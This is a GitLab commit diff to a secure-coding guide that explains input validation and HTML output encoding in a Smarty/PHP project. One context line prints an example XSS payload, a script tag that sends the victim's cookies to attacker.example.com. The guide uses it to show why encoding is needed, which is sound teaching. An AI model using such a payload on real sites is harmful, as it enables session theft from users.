Skip to content
Snippets Groups Projects
Commit a9c5cb82 authored by Sean Madsen's avatar Sean Madsen
Browse files

Security - Small tweaks for validation, encoding

parent 48e6b0ba
No related branches found
No related tags found
No related merge requests found
......@@ -63,7 +63,11 @@ Sanitizing (also sometimes generally called "**escaping**") refers the process o
### Validation
The most primitive way to sanitize untrusted data (as in the example above) is to throw an error when it does not conform to the expected format. This works well for data inputs which are of known (and simple) types, but can be much more difficult (and less effective) when used for *outputs* or complex data types.
The most primitive way to sanitize untrusted data (as in the example above) is to throw an error when it does not conform to the expected format.
Validation works well for data *inputs* which are of known (and simple) types, but can be much more difficult (and less effective) when used for *outputs* or complex data types.
Validation can also be used for *outputs*. For example, when sending data to MySQL in a query, it's good practice to validate that integers are actually integers.
### Encoding (aka "escaping") {:#encoding}
......@@ -77,9 +81,9 @@ For example, consider the following Smarty code:
This works fine with an input of `foo@example.org`. But a string like `<script>window.location='http://attacker.example.com/?cookie='+document.cookie</script>` would present an [XSS](https://excess-xss.com/) vulnerability. If loaded in a victim's browser, this string would send the victim's cookies to the attacker's website and allow the attacker to masquerade as the user.
Using validation to reject email addresses characters like `<` or `>` would prevent the attack, but it would also prevent us from displaying email addresses like `Foo Bar <foo@example.org>`.
Using validation to reject email addresses characters like `<` or `>` would prevent the attack, but it would also prevent us from displaying email addresses like `"Foo Bar" <foo@example.org>`.
By *encoding* the data (for HTML), we change `Foo Bar <foo@example.org>` to `Foo Bar &lt;foo@example.org&gt;`. This prevents the attack and allows us to display any characters we wish.
By *encoding* the data for HTML (e.g. by using [htmlentities()](http://php.net/manual/en/function.htmlentities.php)), we change `"Foo Bar" <foo@example.org>` to `&quot;Foo Bar&quot; &lt;foo@example.org&gt;`. This prevents the attack and allows us to display any characters we wish.
!!! important
Encoding is specific to output mechanisms. Data embedded within HTML must be encoded differently from data embedded in an SQL query or a shell command.
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment